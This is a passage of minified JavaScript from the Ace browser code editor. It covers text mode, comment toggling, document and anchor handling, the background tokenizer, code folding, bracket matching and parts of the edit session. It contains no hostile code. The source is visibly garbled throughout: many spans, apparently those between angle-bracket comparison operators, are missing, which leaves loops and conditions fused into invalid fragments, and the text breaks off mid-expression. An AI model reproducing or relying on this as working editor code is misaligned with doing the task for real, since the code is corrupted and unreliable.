17711774-177F17DE17DF17EA-17EF17FA-17FF180F181A-181F1878-187F18AB-18AF18F6-18FF191D-191F192C-192F193C-193F1941-1943196E196F1975-197F19AC-19AF19CA-19CF19DB-19DD1A1C1A1D1A5F1A7D1A7E1A8A-1A8F1A9A-1A9F1AAE-1AFF1B4C-1B4F1B7D-1B7F1BAB-1BAD1BBA-1BFF1C38-1C3A1C4A-1C4C1C80-1CCF1CF3-1CFF1DE7-1DFC1F161F171F1E1F1F1F461F471F4E1F4F1F581F5A1F5C1F5E1F7E1F7F1FB51FC51FD41FD51FDC1FF01FF11FF51FFF2065-206920722073208F2095-209F20B9-20CF20F1-20FF218A-218F23E9-23FF2427-243F244B-245F26CE26E226E4-26E727002705270A270B2728274C274E2753-2755275F27602795-279727B027BF27CB27CD-27CF2B4D-2B4F2B5A-2BFF2C2F2C5F2CF2-2CF82D26-2D2F2D66-2D6E2D70-2D7F2D97-2D9F2DA72DAF2DB72DBF2DC72DCF2DD72DDF2E32-2E7F2E9A2EF4-2EFF2FD6-2FEF2FFC-2FFF3040309730983100-3104312E-3130318F31B8-31BF31E4-31EF321F32FF4DB6-4DBF9FCC-9FFFA48D-A48FA4C7-A4CFA62C-A63FA660A661A674-A67BA698-A69FA6F8-A6FFA78D-A7FAA82C-A82FA83A-A83FA878-A87FA8C5-A8CDA8DA-A8DFA8FC-A8FFA954-A95EA97D-A97FA9CEA9DA-A9DDA9E0-A9FFAA37-AA3FAA4EAA4FAA5AAA5BAA7C-AA7FAAC3-AADAAAE0-ABBFABEEABEFABFA-ABFFD7A4-D7AFD7C7-D7CAD7FC-D7FFFA2EFA2FFA6EFA6FFADA-FAFFFB07-FB12FB18-FB1CFB37FB3DFB3FFB42FB45FBB2-FBD2FD40-FD4FFD90FD91FDC8-FDEFFDFEFDFFFE1A-FE1FFE27-FE2FFE53FE67FE6C-FE6FFE75FEFDFEFEFF00FFBF-FFC1FFC8FFC9FFD0FFD1FFD8FFD9FFDD-FFDFFFE7FFEF-FFF8FFFEFFFF"})})),ace.define("ace/mode/text",["require","exports","module","ace/tokenizer","ace/mode/text_highlight_rules","ace/mode/behaviour/cstyle","ace/unicode","ace/lib/lang","ace/token_iterator","ace/range"],(function(e,t,i){"use strict";var n=e("../tokenizer").Tokenizer,s=e("./text_highlight_rules").TextHighlightRules,o=e("./behaviour/cstyle").CstyleBehaviour,r=e("../unicode"),a=e("../lib/lang"),l=e("../token_iterator").TokenIterator,c=e("../range").Range,h=function(){this.HighlightRules=s};(function(){this.$defaultBehaviour=new o,this.tokenRe=new RegExp("^["+r.packages.L+r.packages.Mn+r.packages.Mc+r.packages.Nd+r.packages.Pc+"\\$_]+","g"),this.nonTokenRe=new RegExp("^(?:[^"+r.packages.L+r.packages.Mn+r.packages.Mc+r.packages.Nd+r.packages.Pc+"\\$_]|\\s])+","g"),this.getTokenizer=function(){return this.$tokenizer||(this.$highlightRules=this.$highlightRules||new this.HighlightRules(this.$highlightRuleConfig),this.$tokenizer=new n(this.$highlightRules.getRules())),this.$tokenizer},this.lineCommentStart="",this.blockComment="",this.toggleCommentLines=function(e,t,i,n){var s=t.doc,o=!0,r=!0,l=1/0,c=t.getTabSize(),h=!1;if(this.lineCommentStart){if(Array.isArray(this.lineCommentStart))p=this.lineCommentStart.map(a.escapeRegExp).join("|"),g=this.lineCommentStart[0];else p=a.escapeRegExp(this.lineCommentStart),g=this.lineCommentStart;p=new RegExp("^(\\s*)(?:"+p+") ?"),h=t.getUseSoftTabs();v=function(e,t){var i=e.match(p);if(i){var n=i[1].length,o=i[0].length;d(e,n,o)||" "!=i[0][o-1]||o--,s.removeInLine(t,n,o)}};var u=g+" ",d=(A=function(e,t){o&&!/\S/.test(e)||(d(e,l,l)?s.insertInLine({row:t,column:l},u):s.insertInLine({row:t,column:l},g))},C=function(e,t){return p.test(e)},function(e,t,i){var n=0;while(t--&&" "==e.charAt(t))n++;if(n%c!=0)return!1;n=0;while(" "==e.charAt(i++))n++;return c>2?n%c!=c-1:n%c==0})}else{if(!this.blockComment)return!1;var g=this.blockComment.start,f=this.blockComment.end,p=new RegExp("^(\\s*)(?:"+a.escapeRegExp(g)+")"),m=new RegExp("(?:"+a.escapeRegExp(f)+")\\s*$"),A=function(e,t){C(e,t)||o&&!/\S/.test(e)||(s.insertInLine({row:t,column:e.length},f),s.insertInLine({row:t,column:l},g))},v=function(e,t){var i;(i=e.match(m))&&s.removeInLine(t,e.length-i[0].length,e.length),(i=e.match(p))&&s.removeInLine(t,i[1].length,i[0].length)},C=function(e,i){if(p.test(e))return!0;for(var n=t.getTokens(i),s=0;se.length&&(F=e.length)})),l==1/0&&(l=F,o=!1,r=!1),h&&l%c!=0&&(l=Math.floor(l/c)*c),w(r?v:A)},this.toggleBlockComment=function(e,t,i,n){var s=this.blockComment;if(s){!s.start&&s[0]&&(s=s[0]);var o,r,a=new l(t,n.row,n.column),h=a.getCurrentToken(),u=(t.selection,t.selection.toOrientedRange());if(h&&/comment/.test(h.type)){var d,g;while(h&&/comment/.test(h.type)){var f=h.value.indexOf(s.start);if(-1!=f){var p=a.getCurrentTokenRow(),m=a.getCurrentTokenColumn()+f;d=new c(p,m,p,m+s.start.length);break}h=a.stepBackward()}a=new l(t,n.row,n.column),h=a.getCurrentToken();while(h&&/comment/.test(h.type)){f=h.value.indexOf(s.end);if(-1!=f){p=a.getCurrentTokenRow(),m=a.getCurrentTokenColumn()+f;g=new c(p,m,p,m+s.end.length);break}h=a.stepForward()}g&&t.remove(g),d&&(t.remove(d),o=d.start.row,r=-s.start.length)}else r=s.start.length,o=i.start.row,t.insert(i.end,s.end),t.insert(i.start,s.start);u.start.row==o&&(u.start.column+=r),u.end.row==o&&(u.end.column+=r),t.selection.fromOrientedRange(u)}},this.getNextLineIndent=function(e,t,i){return this.$getIndent(t)},this.checkOutdent=function(e,t,i){return!1},this.autoOutdent=function(e,t,i){},this.$getIndent=function(e){return e.match(/^\s*/)[0]},this.createWorker=function(e){return null},this.createModeDelegates=function(e){for(var t in this.$embeds=[],this.$modes={},e)e[t]&&(this.$embeds.push(t),this.$modes[t]=new e[t]);var i=["toggleBlockComment","toggleCommentLines","getNextLineIndent","checkOutdent","autoOutdent","transformAction","getCompletions"];for(t=0;tthis.row)){var i=t(e,{row:this.row,column:this.column},this.$insertRight);this.setPosition(i.row,i.column,!0)}},this.setPosition=function(e,t,i){var n;if(n=i?{row:e,column:t}:this.$clipPositionToDocument(e,t),this.row!=n.row||this.column!=n.column){var s={row:this.row,column:this.column};this.row=n.row,this.column=n.column,this._signal("change",{old:s,value:n})}},this.detach=function(){this.document.removeEventListener("change",this.$onChange)},this.attach=function(e){this.document=e||this.document,this.document.on("change",this.$onChange)},this.$clipPositionToDocument=function(e,t){var i={};return e>=this.document.getLength()?(i.row=Math.max(0,this.document.getLength()-1),i.column=this.document.getLine(i.row).length):e<0?(i.row=0,i.column=0):(i.row=e,i.column=Math.min(this.document.getLine(i.row).length,Math.max(0,t))),t<0&&(i.column=0),i}}).call(o.prototype)})),ace.define("ace/document",["require","exports","module","ace/lib/oop","ace/apply_delta","ace/lib/event_emitter","ace/range","ace/anchor"],(function(e,t,i){"use strict";var n=e("./lib/oop"),s=e("./apply_delta").applyDelta,o=e("./lib/event_emitter").EventEmitter,r=e("./range").Range,a=e("./anchor").Anchor,l=function(e){this.$lines=[""],0===e.length?this.$lines=[""]:Array.isArray(e)?this.insertMergedLines({row:0,column:0},e):this.insert({row:0,column:0},e)};(function(){n.implement(this,o),this.setValue=function(e){var t=this.getLength()-1;this.remove(new r(0,0,t,this.getLine(t).length)),this.insert({row:0,column:0},e)},this.getValue=function(){return this.getAllLines().join(this.getNewLineCharacter())},this.createAnchor=function(e,t){return new a(this,e,t)},0==="aaa".split(/a/).length?this.$split=function(e){return e.replace(/\r\n|\r/g,"\n").split("\n")}:this.$split=function(e){return e.split(/\r\n|\r|\n/)},this.$detectNewLine=function(e){var t=e.match(/^.*?(\r\n|\r|\n)/m);this.$autoNewLine=t?t[1]:"\n",this._signal("changeNewLineMode")},this.getNewLineCharacter=function(){switch(this.$newLineMode){case"windows":return"\r\n";case"unix":return"\n";default:return this.$autoNewLine||"\n"}},this.$autoNewLine="",this.$newLineMode="auto",this.setNewLineMode=function(e){this.$newLineMode!==e&&(this.$newLineMode=e,this._signal("changeNewLineMode"))},this.getNewLineMode=function(){return this.$newLineMode},this.isNewLine=function(e){return"\r\n"==e||"\r"==e||"\n"==e},this.getLine=function(e){return this.$lines[e]||""},this.getLines=function(e,t){return this.$lines.slice(e,t+1)},this.getAllLines=function(){return this.getLines(0,this.getLength())},this.getLength=function(){return this.$lines.length},this.getTextRange=function(e){return this.getLinesForRange(e).join(this.getNewLineCharacter())},this.getLinesForRange=function(e){var t;if(e.start.row===e.end.row)t=[this.getLine(e.start.row).substring(e.start.column,e.end.column)];else{t=this.getLines(e.start.row,e.end.row),t[0]=(t[0]||"").substring(e.start.column);var i=t.length-1;e.end.row-e.start.row==i&&(t[i]=t[i].substring(0,e.end.column))}return t},this.insertLines=function(e,t){return console.warn("Use of document.insertLines is deprecated. Use the insertFullLines method instead."),this.insertFullLines(e,t)},this.removeLines=function(e,t){return console.warn("Use of document.removeLines is deprecated. Use the removeFullLines method instead."),this.removeFullLines(e,t)},this.insertNewLine=function(e){return console.warn("Use of document.insertNewLine is deprecated. Use insertMergedLines(position, ['', '']) instead."),this.insertMergedLines(e,["",""])},this.insert=function(e,t){return this.getLength()<=1&&this.$detectNewLine(t),this.insertMergedLines(e,this.$split(t))},this.insertInLine=function(e,t){var i=this.clippedPos(e.row,e.column),n=this.pos(e.row,e.column+t.length);return this.applyDelta({start:i,end:n,action:"insert",lines:[t]},!0),this.clonePos(n)},this.clippedPos=function(e,t){var i=this.getLength();void 0===e?e=i:e<0?e=0:e>=i&&(e=i-1,t=void 0);var n=this.getLine(e);return void 0==t&&(t=n.length),t=Math.min(Math.max(t,0),n.length),{row:e,column:t}},this.clonePos=function(e){return{row:e.row,column:e.column}},this.pos=function(e,t){return{row:e,column:t}},this.$clipPosition=function(e){var t=this.getLength();return e.row>=t?(e.row=Math.max(0,t-1),e.column=this.getLine(t-1).length):(e.row=Math.max(0,e.row),e.column=Math.min(Math.max(e.column,0),this.getLine(e.row).length)),e},this.insertFullLines=function(e,t){e=Math.min(Math.max(e,0),this.getLength());var i=0;e0,n=t=0&&this.applyDelta({start:this.pos(e,this.getLine(e).length),end:this.pos(e+1,0),action:"remove",lines:["",""]})},this.replace=function(e,t){return e instanceof r||(e=r.fromPoints(e.start,e.end)),0===t.length&&e.isEmpty()?e.start:t==this.getTextRange(e)?e.end:(this.remove(e),i=t?this.insert(e.start,t):e.start,i);var i},this.applyDeltas=function(e){for(var t=0;t=0;t--)this.revertDelta(e[t])},this.applyDelta=function(e,t){var i="insert"==e.action;(i?e.lines.length<=1&&!e.lines[0]:!r.comparePoints(e.start,e.end))||(i&&e.lines.length>2e4&&this.$splitAndapplyLargeDelta(e,2e4),s(this.$lines,e,t),this._signal("change",e))},this.$splitAndapplyLargeDelta=function(e,t){var i=e.lines,n=i.length,s=e.start.row,o=e.start.column,r=0,a=0;do{r=a,a+=t-1;var l=i.slice(r,a);if(a>n){e.lines=l,e.start.row=s+r,e.start.column=o;break}l.push(""),this.applyDelta({start:this.pos(s+r,o),end:this.pos(s+a,o=0),action:e.action,lines:l},!0)}while(1)},this.revertDelta=function(e){this.applyDelta({start:this.clonePos(e.start),end:this.clonePos(e.end),action:"insert"==e.action?"remove":"insert",lines:e.lines.slice()})},this.indexToPosition=function(e,t){for(var i=this.$lines||this.getAllLines(),n=this.getNewLineCharacter().length,s=t||0,o=i.length;s20){i.running=setTimeout(i.$worker,20);break}}i.currentLine=t,-1==n&&(n=t),o<=n&&i.fireUpdateEvent(o,n)}}};(function(){n.implement(this,s),this.setTokenizer=function(e){this.tokenizer=e,this.lines=[],this.states=[],this.start(0)},this.setDocument=function(e){this.doc=e,this.lines=[],this.states=[],this.stop()},this.fireUpdateEvent=function(e,t){var i={first:e,last:t};this._signal("update",{data:i})},this.start=function(e){this.currentLine=Math.min(e||0,this.currentLine,this.doc.getLength()),this.lines.splice(this.currentLine,this.lines.length),this.states.splice(this.currentLine,this.states.length),this.stop(),this.running=setTimeout(this.$worker,700)},this.scheduleStart=function(){this.running||(this.running=setTimeout(this.$worker,700))},this.$updateOnChange=function(e){var t=e.start.row,i=e.end.row-t;if(0===i)this.lines[t]=null;else if("remove"==e.action)this.lines.splice(t,i+1,null),this.states.splice(t,i+1,null);else{var n=Array(i+1);n.unshift(t,1),this.lines.splice.apply(this.lines,n),this.states.splice.apply(this.states,n)}this.currentLine=Math.min(t,this.currentLine,this.doc.getLength()),this.stop()},this.stop=function(){this.running&&clearTimeout(this.running),this.running=!1},this.getTokens=function(e){return this.lines[e]||this.$tokenizeRow(e)},this.getState=function(e){return this.currentLine==e&&this.$tokenizeRow(e),this.states[e]||"start"},this.$tokenizeRow=function(e){var t=this.doc.getLine(e),i=this.states[e-1],n=this.tokenizer.getLineTokens(t,i,e);return this.states[e]+""!==n.state+""?(this.states[e]=n.state,this.lines[e+1]=null,this.currentLine>e+1&&(this.currentLine=e+1)):this.currentLine==e&&(this.currentLine=e+1),this.lines[e]=n.tokens}}).call(o.prototype),t.BackgroundTokenizer=o})),ace.define("ace/search_highlight",["require","exports","module","ace/lib/lang","ace/lib/oop","ace/range"],(function(e,t,i){"use strict";var n=e("./lib/lang"),s=(e("./lib/oop"),e("./range").Range),o=function(e,t,i){this.setRegexp(e),this.clazz=t,this.type=i||"text"};(function(){this.MAX_RANGES=500,this.setRegexp=function(e){this.regExp+""!=e+""&&(this.regExp=e,this.cache=[])},this.update=function(e,t,i,o){if(this.regExp)for(var r=o.firstRow,a=o.lastRow,l=r;l<=a;l++){var c=this.cache[l];null==c&&(c=n.getMatchOffsets(i.getLine(l),this.regExp),c.length>this.MAX_RANGES&&(c=c.slice(0,this.MAX_RANGES)),c=c.map((function(e){return new s(l,e.offset,l,e.offset+e.length)})),this.cache[l]=c.length?c:"");for(var h=c.length;h--;)t.drawSingleLineMarker(e,c[h].toScreenRange(i),this.clazz,o)}}}).call(o.prototype),t.SearchHighlight=o})),ace.define("ace/edit_session/fold_line",["require","exports","module","ace/range"],(function(e,t,i){"use strict";var n=e("../range").Range;function s(e,t){this.foldData=e,Array.isArray(t)?this.folds=t:t=this.folds=[t];var i=t[t.length-1];this.range=new n(t[0].start.row,t[0].start.column,i.end.row,i.end.column),this.start=this.range.start,this.end=this.range.end,this.folds.forEach((function(e){e.setFoldLine(this)}),this)}(function(){this.shiftRow=function(e){this.start.row+=e,this.end.row+=e,this.folds.forEach((function(t){t.start.row+=e,t.end.row+=e}))},this.addFold=function(e){if(e.sameRow){if(e.start.rowthis.endRow)throw new Error("Can't add a fold to this FoldLine as it has no connection");this.folds.push(e),this.folds.sort((function(e,t){return-e.range.compareEnd(t.start.row,t.start.column)})),this.range.compareEnd(e.start.row,e.start.column)>0?(this.end.row=e.end.row,this.end.column=e.end.column):this.range.compareStart(e.end.row,e.end.column)<0&&(this.start.row=e.start.row,this.start.column=e.start.column)}else if(e.start.row==this.end.row)this.folds.push(e),this.end.row=e.end.row,this.end.column=e.end.column;else{if(e.end.row!=this.start.row)throw new Error("Trying to add fold to FoldRow that doesn't have a matching row");this.folds.unshift(e),this.start.row=e.start.row,this.start.column=e.start.column}e.foldLine=this},this.containsRow=function(e){return e>=this.start.row&&e<=this.end.row},this.walk=function(e,t,i){var n,s,o,r=0,a=this.folds,l=!0;null==t&&(t=this.end.row,i=this.end.column);for(var c=0;c0)){var l=s(e,r.start);return 0===a?t&&0!==l?-o-2:o:l>0||0===l&&!t?o:-o-1}}return-o-1},this.add=function(e){var t=!e.isEmpty(),i=this.pointIndex(e.start,t);i<0&&(i=-i-1);var n=this.pointIndex(e.end,t,i);return n<0?n=-n-1:n++,this.ranges.splice(i,n-i,e)},this.addList=function(e){for(var t=[],i=e.length;i--;)t.push.apply(t,this.add(e[i]));return t},this.substractPoint=function(e){var t=this.pointIndex(e);if(t>=0)return this.ranges.splice(t,1)},this.merge=function(){var e=[],t=this.ranges;t=t.sort((function(e,t){return s(e.start,t.start)}));for(var i,n=t[0],o=1;o=0},this.containsPoint=function(e){return this.pointIndex(e)>=0},this.rangeAtPoint=function(e){var t=this.pointIndex(e);if(t>=0)return this.ranges[t]},this.clipRows=function(e,t){var i=this.ranges;if(i[0].start.row>t||i[i.length-1].start.rown)break;if(h.start.row==n&&h.start.column>=t.column&&(h.start.column==t.column&&this.$insertRight||(h.start.column+=r,h.start.row+=o)),h.end.row==n&&h.end.column>=t.column){if(h.end.column==t.column&&this.$insertRight)continue;h.end.column==t.column&&r>0&&lh.start.column&&h.end.column==a[l+1].start.column&&(h.end.column-=r),h.end.column+=r,h.end.row+=o}}}if(0!=o&&l=e)return s;if(s.end.row>e)return null}return null},this.getNextFoldLine=function(e,t){var i=this.$foldData,n=0;for(t&&(n=i.indexOf(t)),-1==n&&(n=0),n;n=e)return s}return null},this.getFoldedRowCount=function(e,t){for(var i=this.$foldData,n=t-e+1,s=0;s=t){a=e?n-=t-a:n=0);break}r>=e&&(n-=a>=e?r-a:r-e+1)}return n},this.$addFoldLine=function(e){return this.$foldData.push(e),this.$foldData.sort((function(e,t){return e.start.row-t.start.row})),e},this.addFold=function(e,t){var i,n=this.$foldData,r=!1;e instanceof o?i=e:(i=new o(t,e),i.collapseChildren=t.collapseChildren),this.$clipRangeToDocument(i.range);var a=i.start.row,l=i.start.column,c=i.end.row,h=i.end.column;if(!(a0&&(this.removeFolds(g),g.forEach((function(e){i.addSubFold(e)})));for(var f=0;f0&&this.foldAll(e.start.row+1,e.end.row,e.collapseChildren-1),e.subFolds=[]},this.expandFolds=function(e){e.forEach((function(e){this.expandFold(e)}),this)},this.unfold=function(e,t){var i,s;if(null==e?(i=new n(0,0,this.getLength(),0),t=!0):i="number"==typeof e?new n(e,0,e,this.getLine(e).length):"row"in e?n.fromPoints(e,e):e,s=this.getFoldsInRangeList(i),t)this.removeFolds(s);else{var o=s;while(o.length)this.expandFolds(o),o=this.getFoldsInRangeList(i)}if(s.length)return s},this.isRowFolded=function(e,t){return!!this.getFoldLine(e,t)},this.getRowFoldEnd=function(e,t){var i=this.getFoldLine(e,t);return i?i.end.row:e},this.getRowFoldStart=function(e,t){var i=this.getFoldLine(e,t);return i?i.start.row:e},this.getFoldDisplayLine=function(e,t,i,n,s){null==n&&(n=e.start.row),null==s&&(s=0),null==t&&(t=e.end.row),null==i&&(i=this.getLine(t).length);var o=this.doc,r="";return e.walk((function(e,t,i,a){if(!(th)break}while(o&&l.test(o.type));o=s.stepBackward()}else o=s.getCurrentToken();return c.end.row=s.getCurrentTokenRow(),c.end.column=s.getCurrentTokenColumn()+o.value.length-2,c}},this.foldAll=function(e,t,i){void 0==i&&(i=1e5);var n=this.foldWidgets;if(n){t=t||this.getLength(),e=e||0;for(var s=e;s=e){s=o.end.row;try{var r=this.addFold("...",o);r&&(r.collapseChildren=i)}catch(a){}}}}},this.$foldStyles={manual:1,markbegin:1,markbeginend:1},this.$foldStyle="markbegin",this.setFoldStyle=function(e){if(!this.$foldStyles[e])throw new Error("invalid fold style: "+e+"["+Object.keys(this.$foldStyles).join(", ")+"]");if(this.$foldStyle!=e){this.$foldStyle=e,"manual"==e&&this.unfold();var t=this.$foldMode;this.$setFolding(null),this.$setFolding(t)}},this.$setFolding=function(e){this.$foldMode!=e&&(this.$foldMode=e,this.off("change",this.$updateFoldWidgets),this.off("tokenizerUpdate",this.$tokenizerUpdateFoldWidgets),this._signal("changeAnnotation"),e&&"manual"!=this.$foldStyle?(this.foldWidgets=[],this.getFoldWidget=e.getFoldWidget.bind(e,this,this.$foldStyle),this.getFoldWidgetRange=e.getFoldWidgetRange.bind(e,this,this.$foldStyle),this.$updateFoldWidgets=this.updateFoldWidgets.bind(this),this.$tokenizerUpdateFoldWidgets=this.tokenizerUpdateFoldWidgets.bind(this),this.on("change",this.$updateFoldWidgets),this.on("tokenizerUpdate",this.$tokenizerUpdateFoldWidgets)):this.foldWidgets=null)},this.getParentFoldRangeData=function(e,t){var i=this.foldWidgets;if(!i||t&&i[e])return{};var n,s=e-1;while(s>=0){var o=i[s];if(null==o&&(o=i[s]=this.getFoldWidget(s)),"start"==o){var r=this.getFoldWidgetRange(s);if(n||(n=r),r&&r.end.row>=e)break}s--}return{range:-1!==s&&r,firstRange:n}},this.onFoldWidgetClick=function(e,t){t=t.domEvent;var i={children:t.shiftKey,all:t.ctrlKey||t.metaKey,siblings:t.altKey},n=this.$toggleFoldWidget(e,i);if(!n){var s=t.target||t.srcElement;s&&/ace_fold-widget/.test(s.className)&&(s.className+=" ace_invalid")}},this.$toggleFoldWidget=function(e,t){if(this.getFoldWidget){var i=this.getFoldWidget(e),n=this.getLine(e),s="end"===i?-1:1,o=this.getFoldAt(e,-1===s?0:n.length,s);if(o)return t.children||t.all?this.removeFold(o):this.expandFold(o),o;var r=this.getFoldWidgetRange(e,!0);if(r&&!r.isMultiLine()&&(o=this.getFoldAt(r.start.row,r.start.column,1),o&&r.isEqual(o.range)))return this.removeFold(o),o;if(t.siblings){var a=this.getParentFoldRangeData(e);if(a.range)var l=a.range.start.row+1,c=a.range.end.row;this.foldAll(l,c,t.all?1e4:0)}else t.children?(c=r?r.end.row:this.getLength(),this.foldAll(e+1,c,t.all?1e4:0)):r&&(t.all&&(r.collapseChildren=1e4),this.addFold("...",r));return r}},this.toggleFoldWidget=function(e){var t=this.selection.getCursor().row;t=this.getRowFoldStart(t);var i=this.$toggleFoldWidget(t,{});if(!i){var n=this.getParentFoldRangeData(t,!0);if(i=n.range||n.firstRange,i){t=i.start.row;var s=this.getFoldAt(t,this.getLine(t).length,1);s?this.removeFold(s):this.addFold("...",i)}}},this.updateFoldWidgets=function(e){var t=e.start.row,i=e.end.row-t;if(0===i)this.foldWidgets[t]=null;else if("remove"==e.action)this.foldWidgets.splice(t,i+1,null);else{var n=Array(i+1);n.unshift(t,1),this.foldWidgets.splice.apply(this.foldWidgets,n)}},this.tokenizerUpdateFoldWidgets=function(e){var t=e.data;t.first!=t.last&&this.foldWidgets.length>t.first&&this.foldWidgets.splice(t.first,this.foldWidgets.length)}}t.Folding=a})),ace.define("ace/edit_session/bracket_match",["require","exports","module","ace/token_iterator","ace/range"],(function(e,t,i){"use strict";var n=e("../token_iterator").TokenIterator,s=e("../range").Range;function o(){this.findMatchingBracket=function(e,t){if(0==e.column)return null;var i=t||this.getLine(e.row).charAt(e.column-1);if(""==i)return null;var n=i.match(/([\(\[\{])|([\)\]\}])/);return n?n[1]?this.$findClosingBracket(n[1],e):this.$findOpeningBracket(n[2],e):null},this.getBracketRange=function(e){var t,i=this.getLine(e.row),n=!0,o=i.charAt(e.column-1),r=o&&o.match(/([\(\[\{])|([\)\]\}])/);if(r||(o=i.charAt(e.column),e={row:e.row,column:e.column+1},r=o&&o.match(/([\(\[\{])|([\)\]\}])/),n=!1),!r)return null;if(r[1]){var a=this.$findClosingBracket(r[1],e);if(!a)return null;t=s.fromPoints(e,a),n||(t.end.column++,t.start.column--),t.cursor=t.end}else{a=this.$findOpeningBracket(r[2],e);if(!a)return null;t=s.fromPoints(a,e),n||(t.start.column++,t.end.column--),t.cursor=t.start}return t},this.$brackets={")":"(","(":")","]":"[","[":"]","{":"}","}":"{"},this.$findOpeningBracket=function(e,t,i){var s=this.$brackets[e],o=1,r=new n(this,t.row,t.column),a=r.getCurrentToken();if(a||(a=r.stepForward()),a){i||(i=new RegExp("(\\.?"+a.type.replace(".","\\.").replace("rparen",".paren").replace(/\b(?:end)\b/,"(?:start|begin|end)")+")+"));var l=t.column-r.getCurrentTokenColumn()-2,c=a.value;while(1){while(l>=0){var h=c.charAt(l);if(h==s){if(o-=1,0==o)return{row:r.getCurrentTokenRow(),column:l+r.getCurrentTokenColumn()}}else h==e&&(o+=1);l-=1}do{a=r.stepBackward()}while(a&&!i.test(a.type));if(null==a)break;c=a.value,l=c.length-1}return null}},this.$findClosingBracket=function(e,t,i){var s=this.$brackets[e],o=1,r=new n(this,t.row,t.column),a=r.getCurrentToken();if(a||(a=r.stepForward()),a){i||(i=new RegExp("(\\.?"+a.type.replace(".","\\.").replace("lparen",".paren").replace(/\b(?:start|begin)\b/,"(?:start|begin|end)")+")+"));var l=t.column-r.getCurrentTokenColumn();while(1){var c=a.value,h=c.length;while(li&&(this.$docRowCache.splice(i,t),this.$screenRowCache.splice(i,t))},this.$getRowCacheIndex=function(e,t){var i=0,n=e.length-1;while(i<=n){var s=i+n>>1,o=e[s];if(t>o)i=s+1;else{if(!(t=t)break;return i=n[o],i?(i.index=o,i.start=s-i.value.length,i):null},this.setUndoManager=function(e){if(this.$undoManager=e,this.$deltas=[],this.$deltasDoc=[],this.$deltasFold=[],this.$informUndoManager&&this.$informUndoManager.cancel(),e){var t=this;this.$syncInformUndoManager=function(){t.$informUndoManager.cancel(),t.$deltasFold.length&&(t.$deltas.push({group:"fold",deltas:t.$deltasFold}),t.$deltasFold=[]),t.$deltasDoc.length&&(t.$deltas.push({group:"doc",deltas:t.$deltasDoc}),t.$deltasDoc=[]),t.$deltas.length>0&&e.execute({action:"aceupdate",args:[t.$deltas,t],merge:t.mergeUndoDeltas}),t.mergeUndoDeltas=!1,t.$deltas=[]},this.$informUndoManager=s.delayedCall(this.$syncInformUndoManager)}},this.markUndoGroup=function(){this.$syncInformUndoManager&&this.$syncInformUndoManager()},this.$defaultUndoManager={undo:function(){},redo:function(){},reset:function(){}},this.getUndoManager=function(){return this.$undoManager||this.$defaultUndoManager},this.getTabString=function(){return this.getUseSoftTabs()?s.stringRepeat(" ",this.getTabSize()):"\t"},this.setUseSoftTabs=function(e){this.setOption("useSoftTabs",e)},this.getUseSoftTabs=function(){return this.$useSoftTabs&&!this.$mode.$indentWithTabs},this.setTabSize=function(e){this.setOption("tabSize",e)},this.getTabSize=function(){return this.$tabSize},this.isTabStop=function(e){return this.$useSoftTabs&&e.column%this.$tabSize===0},this.setNavigateWithinSoftTabs=function(e){this.setOption("navigateWithinSoftTabs",e)},this.getNavigateWithinSoftTabs=function(){return this.$navigateWithinSoftTabs},this.$overwrite=!1,this.setOverwrite=function(e){this.setOption("overwrite",e)},this.getOverwrite=function(){return this.$overwrite},this.toggleOverwrite=function(){this.setOverwrite(!this.$overwrite)},this.addGutterDecoration=function(e,t){this.$decorations[e]||(this.$decorations[e]=""),this.$decorations[e]+=" "+t,this._signal("changeBreakpoint",{})},this.removeGutterDecoration=function(e,t){this.$decorations[e]=(this.$decorations[e]||"").replace(" "+t,""),this._signal("changeBreakpoint",{})},this.getBreakpoints=function(){return this.$breakpoints},this.setBreakpoints=function(e){this.$breakpoints=[];for(var t=0;t0&&(n=!!i.charAt(t-1).match(this.tokenRe)),n||(n=!!i.charAt(t).match(this.tokenRe)),n)var s=this.tokenRe;else if(/^\s+$/.test(i.slice(t-1,t+1)))s=/\s/;else s=this.nonTokenRe;var o=t;if(o>0){do{o--}while(o>=0&&i.charAt(o).match(s));o++}var r=t;while(re&&(e=t.screenWidth)})),this.lineWidgetWidth=e},this.$computeWidth=function(e){if(this.$modified||e){if(this.$modified=!1,this.$useWrapMode)return this.screenWidth=this.$wrapLimit;for(var t=this.doc.getAllLines(),i=this.$rowLengthCache,n=0,s=0,o=this.$foldData[s],r=o?o.start.row:1/0,a=t.length,l=0;lr){if(l=o.end.row+1,l>=a)break;o=this.$foldData[s++],r=o?o.start.row:1/0}null==i[l]&&(i[l]=this.$getStringScreenWidth(t[l])[0]),i[l]>n&&(n=i[l])}this.screenWidth=n}},this.getLine=function(e){return this.doc.getLine(e)},this.getLines=function(e,t){return this.doc.getLines(e,t)},this.getLength=function(){return this.doc.getLength()},this.getTextRange=function(e){return this.doc.getTextRange(e||this.selection.getRange())},this.insert=function(e,t){return this.doc.insert(e,t)},this.remove=function(e){return this.doc.remove(e)},this.removeFullLines=function(e,t){return this.doc.removeFullLines(e,t)},this.undoChanges=function(e,t){if(e.length){this.$fromUndo=!0;for(var i=null,n=e.length-1;-1!=n;n--){var s=e[n];"doc"==s.group?(this.doc.revertDeltas(s.deltas),i=this.$getUndoSelection(s.deltas,!0,i)):s.deltas.forEach((function(e){this.addFolds(e.folds)}),this)}return this.$fromUndo=!1,i&&this.$undoSelect&&!t&&this.selection.setSelectionRange(i),i}},this.redoChanges=function(e,t){if(e.length){this.$fromUndo=!0;for(var i=null,n=0;ne.end.column&&(o.start.column+=a),o.end.row==e.end.row&&o.end.column>e.end.column&&(o.end.column+=a)),r&&o.start.row>=e.end.row&&(o.start.row+=r,o.end.row+=r)}if(o.end=this.insert(o.start,n),s.length){var l=e.start,c=o.start;r=c.row-l.row,a=c.column-l.column;this.addFolds(s.map((function(e){return e=e.clone(),e.start.row==l.row&&(e.start.column+=a),e.end.row==l.row&&(e.end.column+=a),e.start.row+=r,e.end.row+=r,e})))}return o},this.indentRows=function(e,t,i){i=i.replace(/\t/g,this.getTabString());for(var n=e;n<=t;n++)this.doc.insertInLine({row:n,column:0},i)},this.outdentRows=function(e){for(var t=e.collapseRows(),i=new h(0,0,0,0),n=this.getTabSize(),s=t.start.row;s<=t.end.row;++s){var o=this.getLine(s);i.start.row=s,i.end.row=s;for(var r=0;r0){n=this.getRowFoldEnd(t+i);if(n>this.doc.getLength()-1)return 0;s=n-t}else{e=this.$clipRowToDocument(e),t=this.$clipRowToDocument(t);s=t-e+1}var o=new h(e,0,t,Number.MAX_VALUE),r=this.getFoldsInRange(o).map((function(e){return 